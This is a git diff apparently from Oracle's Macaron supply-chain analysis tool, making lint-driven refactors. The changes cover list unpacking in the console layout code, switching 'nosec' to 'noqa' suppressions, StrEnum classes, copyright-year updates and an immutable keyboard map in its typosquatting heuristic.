self.report_table.row_count > 0: - layout = layout + [ - self.report_table, - ] + layout = [*layout, self.report_table] elif self.summary_table.row_count > 0: - layout = layout + [ - "", - Rule(" SUMMARY", align="left"), - "", - self.summary_table, - ] + layout = [*layout, "", Rule(" SUMMARY", align="left"), "", self.summary_table] if self.report_table.row_count > 0: - layout = layout + [ - self.report_table, - ] + layout = [*layout, self.report_table] return layout @@ -641,121 +624,64 @@ def make_layout(self) -> Group: title_align="left", border_style="red", ) - layout = layout + [error_log_panel] + layout = [*layout, error_log_panel] if self.command == "analyze": if self.show_full_layout: if self.description_table.row_count > 0: - layout = layout + [ - Rule(" DESCRIPTION", align="left"), - "", - self.description_table, - ] + layout = [*layout, Rule(" DESCRIPTION", align="left"), "", self.description_table] if self.progress_table.row_count > 0: - layout = layout + ["", self.progress, "", self.progress_table] + layout = [*layout, "", self.progress, "", self.progress_table] if self.failed_checks_table.row_count > 0: - layout = layout + [ - "", - Rule(" SUMMARY", align="left"), - "", - self.failed_checks_table, - ] + layout = [*layout, "", Rule(" SUMMARY", align="left"), "", self.failed_checks_table] if self.summary_table.row_count > 0: - layout = layout + ["", self.summary_table] + layout = [*layout, "", self.summary_table] if self.report_table.row_count > 0: - layout = layout + [ - self.report_table, - ] + layout = [*layout, self.report_table] elif self.summary_table.row_count > 0: - layout = layout + [ - "", - Rule(" SUMMARY", align="left"), - "", - self.summary_table, - ] + layout = [*layout, "", Rule(" SUMMARY", align="left"), "", self.summary_table] if self.report_table.row_count > 0: - layout = layout + [ - self.report_table, - ] + layout = [*layout, self.report_table] if self.if_dependency and self.dependency_analysis_list: for idx, dependency in enumerate(self.dependency_analysis_list, start=1): dependency_layout = dependency.make_layout() - layout = ( - layout - + [ - "", - Rule(f" DEPENDENCY {idx}", align="left"), - ] - + dependency_layout - ) + layout = [*layout, "", Rule(f" DEPENDENCY {idx}", align="left"), *dependency_layout] elif self.if_dependency and self.dependency_analysis_list: dependency = self.dependency_analysis_list[-1] dependency_layout = dependency.make_layout() - layout = ( - layout - + [ - "", - Rule(f" DEPENDENCY {len(self.dependency_analysis_list)}", align="left"), - ] - + dependency_layout - ) + layout = [ + *layout, + "", + Rule(f" DEPENDENCY {len(self.dependency_analysis_list)}", align="left"), + *dependency_layout, + ] else: if self.description_table.row_count > 0: - layout = layout + [ - Rule(" DESCRIPTION", align="left"), - "", - self.description_table, - ] + layout = [*layout, Rule(" DESCRIPTION", align="left"), "", self.description_table] if self.progress_table.row_count > 0: - layout = layout + ["", self.progress, "", self.progress_table] + layout = [*layout, "", self.progress, "", self.progress_table] if self.failed_checks_table.row_count > 0: - layout = layout + [ - "", - Rule(" SUMMARY", align="left"), - "", - self.failed_checks_table, - ] + layout = [*layout, "", Rule(" SUMMARY", align="left"), "", self.failed_checks_table] if self.summary_table.row_count > 0: - layout = layout + ["", self.summary_table] + layout = [*layout, "", self.summary_table] if self.report_table.row_count > 0: - layout = layout + [ - self.report_table, - ] + layout = [*layout, self.report_table] elif self.summary_table.row_count > 0: - layout = layout + [ - "", - Rule(" SUMMARY", align="left"), - "", - self.summary_table, - ] + layout = [*layout, "", Rule(" SUMMARY", align="left"), "", self.summary_table] if self.report_table.row_count > 0: - layout = layout + [ - self.report_table, - ] + layout = [*layout, self.report_table] elif self.command == "verify-policy": if self.policies_table.row_count > 0: - layout = layout + [self.policies_table] + layout = [*layout, self.policies_table] elif self.policy_summary_table.row_count > 0: if self.components_satisfy_table.row_count > 0: - layout = layout + [ - "[bold green] Components Satisfy Policy[/]", - self.components_satisfy_table, - ] + layout = [*layout, "[bold green] Components Satisfy Policy[/]", self.components_satisfy_table] else: - layout = layout + [ - "[bold green] Components Satisfy Policy[/] [white not italic]None[/]", - ] + layout = [*layout, "[bold green] Components Satisfy Policy[/] [white not italic]None[/]"] if self.components_violates_table.row_count > 0: - layout = layout + [ - "", - "[bold red] Components Violate Policy[/]", - self.components_violates_table, - ] + layout = [*layout, "", "[bold red] Components Violate Policy[/]", self.components_violates_table] else: - layout = layout + [ - "", - "[bold red] Components Violate Policy[/] [white not italic]None[/]", - ] - layout = layout + ["", self.policy_summary_table] + layout = [*layout, "", "[bold red] Components Violate Policy[/] [white not italic]None[/]"] + layout = [*layout, "", self.policy_summary_table] if self.verification_summary_attestation: vsa_table = Table(show_header=False, box=None) vsa_table.add_column("Detail", justify="left") @@ -771,21 +697,20 @@ def make_layout(self) -> Group: f"cat {self.verification_summary_attestation} | jq -r [white]'.payload'[/] | base64 -d | jq", ) - layout = layout + [vsa_table] + layout = [*layout, vsa_table] elif self.command == "find-source": if self.find_source_table.row_count > 0: - layout = layout + [self.find_source_table] + layout = [*layout, self.find_source_table] elif self.command == "dump-defaults": dump_defaults_table = Table(show_header=False, box=None) dump_defaults_table.add_column("Detail", justify="left") dump_defaults_table.add_column("Value", justify="left") dump_defaults_table.add_row("Dump Defaults", self.dump_defaults) - layout = layout + [dump_defaults_table] - elif self.command == "gen-build-spec": - if self.gen_build_spec_table.row_count > 0: - layout = layout + [self.gen_build_spec_table] + layout = [*layout, dump_defaults_table] + elif self.command == "gen-build-spec" and self.gen_build_spec_table.row_count > 0: + layout = [*layout, self.gen_build_spec_table] if self.verbose: - layout = layout + ["", self.verbose_panel] + layout = [*layout, "", self.verbose_panel] if self.error_message: error_panel = Panel( self.error_message, @@ -793,7 +718,7 @@ def make_layout(self) -> Group: title_align="left", border_style="red", ) - layout = layout + ["", error_panel] + layout = [*layout, "", error_panel] return Group(*layout) def error(self, message: str) -> None: diff --git a/src/macaron/database/db_custom_types.py b/src/macaron/database/db_custom_types.py index 231139e7b..ae5ad56f9 100644 --- a/src/macaron/database/db_custom_types.py +++ b/src/macaron/database/db_custom_types.py @@ -1,4 +1,4 @@ -# Copyright (c) 2023 - 2025, Oracle and/or its affiliates. All rights reserved. +# Copyright (c) 2023 - 2026, Oracle and/or its affiliates. All rights reserved. # Licensed under the Universal Permissive License v 1.0 as shown at https://oss.oracle.com/licenses/upl/. """This module implements SQLAlchemy types for Python data types that cannot be automatically stored.""" @@ -17,7 +17,7 @@ ) -class RFC3339DateTime(TypeDecorator): # pylint: disable=W0223 +class RFC3339DateTime(TypeDecorator): # pylint: disable=abstract-method """ SQLAlchemy column type to serialise datetime objects for SQLite in consistent format matching in-toto. @@ -70,7 +70,7 @@ def process_result_value(self, value: None | str, dialect: Any) -> None | dateti return result.astimezone(RFC3339DateTime._host_tzinfo) -class DBJsonDict(TypeDecorator): # pylint: disable=W0223 +class DBJsonDict(TypeDecorator): # pylint: disable=abstract-method """SQLAlchemy column type to serialize dictionaries.""" # It is stored in the database as a json value. @@ -131,7 +131,7 @@ def process_result_value(self, value: None | dict, dialect: Any) -> dict: return value -class DBJsonList(TypeDecorator): # pylint: disable=W0223 +class DBJsonList(TypeDecorator): # pylint: disable=abstract-method """SQLAlchemy column type to serialize lists.""" # It is stored in the database as a json value. @@ -192,7 +192,7 @@ def process_result_value(self, value: None | list, dialect: Any) -> list: return value -class ProvenancePayload(TypeDecorator): # pylint: disable=W0223 +class ProvenancePayload(TypeDecorator): # pylint: disable=abstract-method """SQLAlchemy column type to serialize InTotoProvenance.""" # It is stored in the database as a String value. diff --git a/src/macaron/database/table_definitions.py b/src/macaron/database/table_definitions.py index a3e53f5d7..1794a7a86 100644 --- a/src/macaron/database/table_definitions.py +++ b/src/macaron/database/table_definitions.py @@ -61,7 +61,7 @@ class Analysis(ORMBase): __tablename__ = "_analysis" #: The primary key. - id: Mapped[int] = mapped_column(Integer, primary_key=True, autoincrement=True) # noqa: A003 + id: Mapped[int] = mapped_column(Integer, primary_key=True, autoincrement=True) #: The analysis start time. analysis_time: Mapped[datetime] = mapped_column(RFC3339DateTime, nullable=False) @@ -83,7 +83,7 @@ class PackageURLMixin: """ #: A short code to identify the type of the package. - type: Mapped[str] = mapped_column( # noqa: A003 + type: Mapped[str] = mapped_column( String(16), nullable=False, comment=( @@ -111,7 +111,7 @@ class PackageURLMixin: qualifiers: Mapped[str] = mapped_column( String(1024), nullable=True, - comment=("Extra qualifying data for a package such as the name of an OS, " "architecture, distro, etc."), + comment=("Extra qualifying data for a package such as the name of an OS, architecture, distro, etc."), ) #: Extra subpath within a package, relative to the package root. @@ -135,7 +135,7 @@ class Component(PackageURLMixin, ORMBase): __tablename__ = "_component" #: The primary key. - id: Mapped[int] = mapped_column(Integer, primary_key=True, autoincrement=True) # noqa: A003 + id: Mapped[int] = mapped_column(Integer, primary_key=True, autoincrement=True) # TODO: The unique constraint on PURL is set to False for now and we be turned on in future. #: The PURL column is for the benefit of Souffle to make it easy to query based on a PURL string. @@ -168,8 +168,8 @@ class Component(PackageURLMixin, ORMBase): #: The bidirectional many-to-many relationship for component dependencies. dependencies: Mapped[list["Component"]] = relationship( secondary=components_association_table, - primaryjoin=components_association_table.c.parent_component == id, - secondaryjoin=components_association_table.c.child_component == id, + primaryjoin=components_association_table.c.parent_component == id, # noqa: A003 + secondaryjoin=components_association_table.c.child_component == id, # noqa: A003 ) #: The optional one-to-one relationship with a provenance subject in case this @@ -270,7 +270,7 @@ class Repository(ORMBase): __tablename__ = "_repository" #: The primary key. - id: Mapped[int] = mapped_column(Integer, primary_key=True, autoincrement=True) # noqa: A003 + id: Mapped[int] = mapped_column(Integer, primary_key=True, autoincrement=True) # Because component is the parent table, we should define the foreign key here in the child table. #: The foreign key to the software component. @@ -286,7 +286,7 @@ class Repository(ORMBase): full_name: Mapped[str] = mapped_column(String, nullable=False) #: The PURL type. - type: Mapped[str] = mapped_column(String, nullable=False) # noqa: A003 + type: Mapped[str] = mapped_column(String, nullable=False) # TODO: for locally cloned repos, do we have both type and owner, or can they be null? #: The PURL namespace, which is the owner in pkg:github.com/owner/name@commit-sha. @@ -374,14 +374,15 @@ class SLSARequirement(ORMBase): # See https://alembic.sqlalchemy.org/en/latest/naming.html __table_args__ = (UniqueConstraint("component_id", "requirement_name", name="uq__slsa_requirement_component_id"),) - id: Mapped[int] = mapped_column(Integer, primary_key=True, autoincrement=True) # noqa: A003 + id: Mapped[int] = mapped_column(Integer, primary_key=True, autoincrement=True) #: The software component ID. component_id: Mapped[int] = mapped_column(Integer, ForeignKey("_component.id"), nullable=False) #: The unique SLSA requirement name. requirement_name: Mapped[Enum] = mapped_column( - Enum(*ReqName._member_names_), nullable=False # pylint: disable=protected-access,no-member + Enum(*ReqName._member_names_), # pylint: disable=protected-access,no-member + nullable=False, ) #: The short description of the SLSA requirement. @@ -407,7 +408,7 @@ class MappedCheckResult(ORMBase): __table_args__ = (UniqueConstraint("component_id", "check_id", name="uq__check_result_component_id"),) #: The primary key. - id: Mapped[int] = mapped_column( # noqa: A003 # pylint: disable=invalid-name + id: Mapped[int] = mapped_column( # pylint: disable=invalid-name Integer, primary_key=True, autoincrement=True ) @@ -439,7 +440,7 @@ class CheckFacts(ORMBase): __tablename__ = "_check_facts" #: The primary key. - id: Mapped[int] = mapped_column(Integer, primary_key=True, autoincrement=True) # noqa: A003 + id: Mapped[int] = mapped_column(Integer, primary_key=True, autoincrement=True) #: The confidence score to estimate the accuracy of the check fact. This value should be in the range [0.0, 1.0] with #: a lower value depicting a lower confidence. Because some analyses used in checks may use @@ -467,7 +468,7 @@ class CheckFacts(ORMBase): checkresult: Mapped["MappedCheckResult"] = relationship(back_populates="checkfacts") #: The polymorphic inheritance configuration. - __mapper_args__ = { + __mapper_args__ = { # noqa: RUF012 (https://github.com/astral-sh/ruff/issues/25392) "polymorphic_identity": "CheckFacts", "polymorphic_on": "check_type", } @@ -479,7 +480,7 @@ class Provenance(ORMBase): __tablename__ = "_provenance" #: The primary key. - id: Mapped[int] = mapped_column(Integer, primary_key=True, autoincrement=True) # noqa: A003 + id: Mapped[int] = mapped_column(Integer, primary_key=True, autoincrement=True) #: The foreign key to the software component. component_id: Mapped[int] = mapped_column(Integer, ForeignKey(Component.id), nullable=False) @@ -524,7 +525,7 @@ class ReleaseArtifact(ORMBase): __tablename__ = "_release_artifact" #: The primary key. - id: Mapped[int] = mapped_column(Integer, primary_key=True, autoincrement=True) # noqa: A003 + id: Mapped[int] = mapped_column(Integer, primary_key=True, autoincrement=True) #: The name of the artifact. name: Mapped[str] = mapped_column(String, nullable=False) @@ -548,7 +549,7 @@ class HashDigest(ORMBase): __tablename__ = "_hash_digest" #: The primary key. - id: Mapped[int] = mapped_column(Integer, primary_key=True, autoincrement=True) # noqa: A003 + id: Mapped[int] = mapped_column(Integer, primary_key=True, autoincrement=True) #: The hash digest value. digest: Mapped[str] = mapped_column(String, nullable=False) @@ -572,7 +573,7 @@ class ProvenanceSubject(ORMBase): __tablename__ = "_provenance_subject" #: The primary key. - id: Mapped[int] = mapped_column(Integer, primary_key=True, autoincrement=True) # noqa: A003 + id: Mapped[int] = mapped_column(Integer, primary_key=True, autoincrement=True) #: The component id of the provenance subject. component_id: Mapped[int] = mapped_column( @@ -637,7 +638,7 @@ class RepoFinderMetadata(ORMBase): __tablename__ = "_repo_finder_metadata" #: The primary key. - id: Mapped[int] = mapped_column(Integer, primary_key=True, autoincrement=True) # noqa: A003 + id: Mapped[int] = mapped_column(Integer, primary_key=True, autoincrement=True) #: The foreign key to the software component. component_id: Mapped[int] = mapped_column(Integer, ForeignKey(Component.id), nullable=False) @@ -647,12 +648,14 @@ class RepoFinderMetadata(ORMBase): #: The outcome of the Repo Finder. repo_finder_outcome: Mapped[Enum] = mapped_column( - Enum(RepoFinderInfo), nullable=False # pylint: disable=protected-access,no-member + Enum(RepoFinderInfo), + nullable=False, ) #: The outcome of the Commit Finder. commit_finder_outcome: Mapped[Enum] = mapped_column( - Enum(CommitFinderInfo), nullable=False # pylint: disable=protected-access,no-member + Enum(CommitFinderInfo), + nullable=False, ) #: The URL found by the Repo Finder (if applicable). diff --git a/src/macaron/database/views.py b/src/macaron/database/views.py index 0db99814a..d61637524 100644 --- a/src/macaron/database/views.py +++ b/src/macaron/database/views.py @@ -1,4 +1,4 @@ -# Copyright (c) 2023 - 2025, Oracle and/or its affiliates. All rights reserved. +# Copyright (c) 2023 - 2026, Oracle and/or its affiliates. All rights reserved. # Licensed under the Universal Permissive License v 1.0 as shown at https://oss.oracle.com/licenses/upl/. # pylint: skip-file @@ -41,7 +41,7 @@ def _create_view(element, comp, **kw): # type: ignore @compiler.compiles(DropView) def _drop_view(element, comp, **kw): # type: ignore - return "DROP VIEW %s" % (element.name) + return f"DROP VIEW {element.name}" def view_exists( @@ -82,8 +82,8 @@ def view_exists( bool Returns `True` if the view exists in the database, `False` otherwise. """ - if isinstance(ddl, CreateView) or isinstance(ddl, DropView): - assert isinstance(bind, Connection) + if isinstance(ddl, (CreateView, DropView)): + assert isinstance(bind, Connection) # noqa: S101 return ddl.name in sa.inspect(bind).get_view_names() return False diff --git a/src/macaron/dependency_analyzer/cyclonedx.py b/src/macaron/dependency_analyzer/cyclonedx.py index c46a8a773..dca401f92 100644 --- a/src/macaron/dependency_analyzer/cyclonedx.py +++ b/src/macaron/dependency_analyzer/cyclonedx.py @@ -1,4 +1,4 @@ -# Copyright (c) 2023 - 2025, Oracle and/or its affiliates. All rights reserved. +# Copyright (c) 2023 - 2026, Oracle and/or its affiliates. All rights reserved. # Licensed under the Universal Permissive License v 1.0 as shown at https://oss.oracle.com/licenses/upl/. """This module contains helper functions to process CycloneDX SBOM.""" @@ -6,7 +6,7 @@ import json import logging import os -import subprocess # nosec B404 +import subprocess from collections.abc import Iterable from pathlib import Path from typing import Any, TypedDict @@ -54,7 +54,7 @@ def deserialize_bom_json(file_path: Path) -> Bom: If the bom.json file cannot be located or deserialized. """ if not os.path.exists(file_path): - raise CycloneDXParserError(f"Unable to locate any BOM files at: {str(file_path.parent)}.") + raise CycloneDXParserError(f"Unable to locate any BOM files at: {file_path.parent!s}.") # We use the `cyclonedx-python-library` library for deserialization following the example here: # https://cyclonedx-python-library.readthedocs.io/en/v7.3.4/examples.html @@ -76,7 +76,7 @@ def deserialize_bom_json(file_path: Path) -> Bom: if validation_errors: logger.debug("BOM file is invalid: %s", repr(validation_errors)) - raise CycloneDXParserError(f"BOM file is invalid: {repr(validation_errors)}") + raise CycloneDXParserError(f"BOM file is invalid: {validation_errors!r}") logger.debug("Successfully validated the BOM file at %s", file_path) @@ -340,7 +340,6 @@ def resolve_dependencies(main_ctx: Any, sbom_path: str, recursive: bool = False) # Grab dependencies for each build tool, collate all into the deps_resolved. for build_tool in build_tools: - try: # We allow dependency analysis if SBOM is provided but no repository is found. dep_analyzer = build_tool.get_dep_analyzer() @@ -371,7 +370,7 @@ def resolve_dependencies(main_ctx: Any, sbom_path: str, recursive: bool = False) commands = dep_analyzer.get_cmd() try: # Suppressing Bandit's B603 report because the repo paths are validated. - analyzer_output = subprocess.run( # nosec B603 + analyzer_output = subprocess.run( # noqa: S603 commands, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, diff --git a/src/macaron/json_tools.py b/src/macaron/json_tools.py index df8126074..c586e0744 100644 --- a/src/macaron/json_tools.py +++ b/src/macaron/json_tools.py @@ -46,7 +46,7 @@ def json_extract(entry: dict | list, keys: Sequence[str | int], type_: type[T]) return None # If statement required for mypy to not complain. The else case can never happen because of the above if block. - if isinstance(entry, dict) and isinstance(key, str): + if isinstance(entry, dict) and isinstance(key, str): # noqa: SIM114 entry = entry[key] elif isinstance(entry, list) and isinstance(key, int): entry = entry[key] diff --git a/src/macaron/malware_analyzer/pypi_heuristics/heuristics.py b/src/macaron/malware_analyzer/pypi_heuristics/heuristics.py index 9699066f6..7af805127 100644 --- a/src/macaron/malware_analyzer/pypi_heuristics/heuristics.py +++ b/src/macaron/malware_analyzer/pypi_heuristics/heuristics.py @@ -1,12 +1,12 @@ -# Copyright (c) 2024 - 2025, Oracle and/or its affiliates. All rights reserved. +# Copyright (c) 2024 - 2026, Oracle and/or its affiliates. All rights reserved. # Licensed under the Universal Permissive License v 1.0 as shown at https://oss.oracle.com/licenses/upl/. """Define the heuristic enum.""" -from enum import Enum +from enum import StrEnum -class Heuristics(str, Enum): +class Heuristics(StrEnum): """Seven heuristics for detecting suspicious pypi package.""" #: Indicates that the package does not contain any project links (such as documentation or Git repository pages). @@ -59,11 +59,11 @@ class Heuristics(str, Enum): STUB_NAME = "stub_name" -class HeuristicResult(str, Enum): +class HeuristicResult(StrEnum): """Result type indicating the outcome of a heuristic.""" #: Indicates that no suspicious activity was detected. - PASS = "PASS" # nosec B105 + PASS = "PASS" # noqa: S105 #: Indicates that suspicious activity was detected. FAIL = "FAIL" diff --git a/src/macaron/malware_analyzer/pypi_heuristics/metadata/anomalous_version.py b/src/macaron/malware_analyzer/pypi_heuristics/metadata/anomalous_version.py index c5fd8f790..b5add5f62 100644 --- a/src/macaron/malware_analyzer/pypi_heuristics/metadata/anomalous_version.py +++ b/src/macaron/malware_analyzer/pypi_heuristics/metadata/anomalous_version.py @@ -1,4 +1,4 @@ -# Copyright (c) 2024 - 2025, Oracle and/or its affiliates. All rights reserved. +# Copyright (c) 2024 - 2026, Oracle and/or its affiliates. All rights reserved. # Licensed under the Universal Permissive License v 1.0 as shown at https://oss.oracle.com/licenses/upl/. """The heuristic analyzer to check for an anomalous package version.""" @@ -58,7 +58,16 @@ class AnomalousVersionAnalyzer(BaseHeuristicAnalyzer): """ DETAIL_INFO_KEY: str = "versioning" - DIGIT_DATE_FORMATS: list[str] = ["%Y%m%d", "%Y%d%m", "%d%m%Y", "%m%d%Y", "%y%m%d", "%y%d%m", "%d%m%y", "%m%d%y"] + DIGIT_DATE_FORMATS: tuple[str, ...] = ( + "%Y%m%d", + "%Y%d%m", + "%d%m%Y", + "%m%d%Y", + "%y%m%d", + "%y%d%m", + "%d%m%y", + "%m%d%y", + ) def __init__(self) -> None: super().__init__( diff --git a/src/macaron/malware_analyzer/pypi_heuristics/metadata/fake_email.py b/src/macaron/malware_analyzer/pypi_heuristics/metadata/fake_email.py index 300629ae1..1e89786b4 100644 --- a/src/macaron/malware_analyzer/pypi_heuristics/metadata/fake_email.py +++ b/src/macaron/malware_analyzer/pypi_heuristics/metadata/fake_email.py @@ -1,4 +1,4 @@ -# Copyright (c) 2024 - 2025, Oracle and/or its affiliates. All rights reserved. +# Copyright (c) 2024 - 2026, Oracle and/or its affiliates. All rights reserved. # Licensed under the Universal Permissive License v 1.0 as shown at https://oss.oracle.com/licenses/upl/. """The heuristic analyzer to check the email address of the package maintainers.""" @@ -22,13 +22,13 @@ class FakeEmailAnalyzer(BaseHeuristicAnalyzer): """Analyze the email address of the package maintainers.""" PATTERN = re.compile( - r"""\b # word‑boundary - [A-Za-z0-9]+ # first alpha‑numeric segment + r"""\b # word-boundary + [A-Za-z0-9]+ # first alpha-numeric segment (?:\.[A-Za-z0-9]+)* # optional “.segment” repeats @ [A-Za-z0-9]+ # domain name segment - (?:\.[A-Za-z0-9]+)* # optional sub‑domains - \.[A-Za-z]{2,} # top‑level domain (at least 2 letters) + (?:\.[A-Za-z0-9]+)* # optional sub-domains + \.[A-Za-z]{2,} # top-level domain (at least 2 letters) \b""", re.VERBOSE, ) diff --git a/src/macaron/malware_analyzer/pypi_heuristics/metadata/typosquatting_presence.py b/src/macaron/malware_analyzer/pypi_heuristics/metadata/typosquatting_presence.py index 810d7523b..ad1877075 100644 --- a/src/macaron/malware_analyzer/pypi_heuristics/metadata/typosquatting_presence.py +++ b/src/macaron/malware_analyzer/pypi_heuristics/metadata/typosquatting_presence.py @@ -5,6 +5,7 @@ import logging import os +import types from macaron import MACARON_PATH from macaron.config.defaults import defaults @@ -20,45 +21,47 @@ class TyposquattingPresenceAnalyzer(BaseHeuristicAnalyzer): """Check whether the PyPI package has typosquatting presence.""" - KEYBOARD_LAYOUT = { - "1": (0, 0), - "2": (0, 1), - "3": (0, 2), - "4": (0, 3), - "5": (0, 4), - "6": (0, 5), - "7": (0, 6), - "8": (0, 7), - "9": (0, 8), - "0": (0, 9), - "-": (0, 10), - "q": (1, 0), - "w": (1, 1), - "e": (1, 2), - "r": (1, 3), - "t": (1, 4), - "y": (1, 5), - "u": (1, 6), - "i": (1, 7), - "o": (1, 8), - "p": (1, 9), - "a": (2, 0), - "s": (2, 1), - "d": (2, 2), - "f": (2, 3), - "g": (2, 4), - "h": (2, 5), - "j": (2, 6), - "k": (2, 7), - "l": (2, 8), - "z": (3, 0), - "x": (3, 1), - "c": (3, 2), - "v": (3, 3), - "b": (3, 4), - "n": (3, 5), - "m": (3, 6), - } + KEYBOARD_LAYOUT = types.MappingProxyType( + { + "1": (0, 0), + "2": (0, 1), + "3": (0, 2), + "4": (0, 3), + "5": (0, 4), + "6": (0, 5), + "7": (0, 6), + "8": (0, 7), + "9": (0, 8), + "0": (0, 9), + "-": (0, 10), + "q": (1, 0), + "w": (1, 1), + "e": (1, 2), + "r": (1, 3), + "t": (1, 4), + "y": (1, 5), + "u": (1, 6), + "i": (1, 7), + "o": (1, 8), + "p": (1, 9), + "a": (2, 0), + "s": (2, 1), + "d": (2, 2), + "f": (2, 3), + "g": (2, 4), + "h": (2, 5), + "j": (2, 6), + "k": (2, 7), + "l": (2, 8), + "z": (3, 0), + "x": (3, 1), + "c": (3, 2), + "v": (3, 3), + "b": (3, 4), + "n": (3, 5), + "m": (3, 6), + } + ) def __init__(self, popular_packages_path: str | None = None) -> None: super().__init__( diff --git a/src/macaron/malware_analyzer/pypi_heuristics/sourcecode/pypi_sourcecode_analyzer.py b/src/macaron/malware_analyzer/pypi_heuristics/sourcecode/pypi_sourcecode_analyzer.py index 4111c9361..613f3d253 100644 --- a/src/macaron/malware_analyzer/pypi_heuristics/sourcecode/pypi_sourcecode_analyzer.py +++ b/src/macaron/malware_analyzer/pypi_heuristics/sourcecode/pypi_sourcecode_analyzer.py @@ -11,7 +11,7 @@ import json import logging import os -import subprocess # nosec B404 +import subprocess import tempfile import yaml @@ -138,7 +138,7 @@ def _load_defaults(self, resources_path: str) -> tuple[str, str | None, set[str] custom_rule_path, ] try: - process = subprocess.run(semgrep_commands, check=True, capture_output=True) # nosec B603 + process = subprocess.run(semgrep_commands, check=True, capture_output=True) # noqa: S603 if process.returncode != 0: # Only a warning is used here, so that if running offline, the analysis can continue. Erroneous Semgrep files # will be picked up at analysis time in this case. @@ -304,7 +304,7 @@ def analyze(self, pypi_package_json: PyPIPackageJsonAsset) -> tuple[HeuristicRes print_command = " ".join(semgrep_commands) logger.debug("executing: %s.", print_command) try: - process = subprocess.run(semgrep_commands, check=True, capture_output=True) # nosec B603 + process = subprocess.run(semgrep_commands, check=True, capture_output=True) # noqa: S603 except subprocess.CalledProcessError as semgrep_error: error_msg = f"""Unable to run {print_command} on {source_code_path}: {semgrep_error} Return code: {semgrep_error.returncode} @@ -321,7 +321,7 @@ def analyze(self, pypi_package_json: PyPIPackageJsonAsset) -> tuple[HeuristicRes raise HeuristicAnalyzerValueError(error_msg) from timeout_error if process.returncode != 0: - error_msg = f"Error running semgrep on {source_code_path} with argument(s)" f" {process.args}" + error_msg = f"Error running semgrep on {source_code_path} with argument(s) {process.args}" logger.debug(error_msg) raise HeuristicAnalyzerValueError(error_msg) diff --git a/src/macaron/output_reporter/jinja2_extensions.py b/src/macaron/output_reporter/jinja2_extensions.py index 76848a086..3e36d95eb 100644 --- a/src/macaron/output_reporter/jinja2_extensions.py +++ b/src/macaron/output_reporter/jinja2_extensions.py @@ -1,4 +1,4 @@ -# Copyright (c) 2022 - 2023, Oracle and/or its affiliates. All rights reserved. +# Copyright (c) 2022 - 2026, Oracle and/or its affiliates. All rights reserved. # Licensed under the Universal Permissive License v 1.0 as shown at https://oss.oracle.com/licenses/upl/. """This module contains the Jinja2 extension filters and tests. @@ -118,12 +118,13 @@ def j2_filter_get_flatten_dict(data: Any, has_key: bool = False) -> dict | Any: Examples -------- >>> j2_filter_get_flatten_dict( - ... { - ... "A": [1, 2, 3], - ... "B": { - ... "C": ["blah", "bar", "foo"], - ... }, - ... }) + ... { + ... "A": [1, 2, 3], + ... "B": { + ... "C": ["blah", "bar", "foo"], + ... }, + ... } + ... ) {'A': {0: 1, 1: 2, 2: 3}, 'B': {'C': {0: 'blah', 1: 'bar', 2: 'foo'}}} """ if isinstance(data, (str, int, bool, float)): diff --git a/src/macaron/output_reporter/results.py b/src/macaron/output_reporter/results.py index f2e86dcba..691c562f3 100644 --- a/src/macaron/output_reporter/results.py +++ b/src/macaron/output_reporter/results.py @@ -162,8 +162,7 @@ def get_dep_summary(self) -> DepSummary: analyzed_deps=0, unique_dep_repos=0, checks_summary=[ - {"check_id": check_id, "num_deps_pass": 0} # nosec B105 - for check_id in registry.get_all_checks_mapping() + {"check_id": check_id, "num_deps_pass": 0} for check_id in registry.get_all_checks_mapping() ], dep_status=[dep.get_summary() for dep in self.dependencies], ) diff --git a/src/macaron/output_reporter/scm.py b/src/macaron/output_reporter/scm.py index c090a95f2..6e1a3bc06 100644 --- a/src/macaron/output_reporter/scm.py +++ b/src/macaron/output_reporter/scm.py @@ -1,12 +1,12 @@ -# Copyright (c) 2023 - 2023, Oracle and/or its affiliates. All rights reserved. +# Copyright (c) 2023 - 2026, Oracle and/or its affiliates. All rights reserved. # Licensed under the Universal Permissive License v 1.0 as shown at https://oss.oracle.com/licenses/upl/. """This module implements datatypes to represent SCM results.""" -from enum import Enum +from enum import StrEnum -class SCMStatus(str, Enum): +class SCMStatus(StrEnum): """The status type of each analyzed repository.""" AVAILABLE = "AVAILABLE" diff --git a/src/macaron/parsers/bashparser.py b/src/macaron/parsers/bashparser.py index 2b8de426a..5fa3ec704 100644 --- a/src/macaron/parsers/bashparser.py +++ b/src/macaron/parsers/bashparser.py @@ -12,7 +12,7 @@ import json import logging import os -import subprocess # nosec B404 +import subprocess from typing import cast from macaron.config.defaults import defaults @@ -84,7 +84,7 @@ def parse(bash_content: str, macaron_path: str | None = None) -> dict: ] try: - result = subprocess.run( # nosec B603 + result = subprocess.run( # noqa: S603 cmd, capture_output=True, check=True, @@ -138,7 +138,7 @@ def parse_raw(bash_content: str, macaron_path: str | None = None) -> File: ] try: - result = subprocess.run( # nosec B603 + result = subprocess.run( # noqa: S603 cmd, capture_output=True, check=True, @@ -194,7 +194,7 @@ def parse_raw_with_gha_mapping(bash_content: str, macaron_path: str | None = Non ] try: - result = subprocess.run( # nosec B603 + result = subprocess.run( # noqa: S603 cmd, capture_output=True, check=True, @@ -258,7 +258,7 @@ def parse_expr(bash_expr_content: str, macaron_path: str | None = None) -> list[ bash_expr_content, ] try: - result = subprocess.run( # nosec B603 + result = subprocess.run( # noqa: S603 cmd, capture_output=True, check=True, diff --git a/src/macaron/parsers/pomparser.py b/src/macaron/parsers/pomparser.py index 9fd626648..6b14eabed 100644 --- a/src/macaron/parsers/pomparser.py +++ b/src/macaron/parsers/pomparser.py @@ -6,7 +6,7 @@ import logging import os from pathlib import Path -from xml.etree.ElementTree import Element # nosec B405 +from xml.etree.ElementTree import Element import defusedxml.ElementTree from defusedxml import DefusedXmlException diff --git a/src/macaron/policy_engine/policy_engine.py b/src/macaron/policy_engine/policy_engine.py index e815d48f4..73b7da0cb 100644 --- a/src/macaron/policy_engine/policy_engine.py +++ b/src/macaron/policy_engine/policy_engine.py @@ -1,4 +1,4 @@ -# Copyright (c) 2023 - 2025, Oracle and/or its affiliates. All rights reserved. +# Copyright (c) 2023 - 2026, Oracle and/or its affiliates. All rights reserved. # Licensed under the Universal Permissive License v 1.0 as shown at https://oss.oracle.com/licenses/upl/. """This module handles invoking the souffle policy engine on a database.""" @@ -50,7 +50,7 @@ def get_generated(database_path: os.PathLike | str) -> SouffleProgram: prelude = get_souffle_import_prelude(os.path.abspath(database_path), metadata) - for table_name in metadata.tables.keys(): + for table_name in metadata.tables: table = metadata.tables[table_name] if table_name[0] == "_": 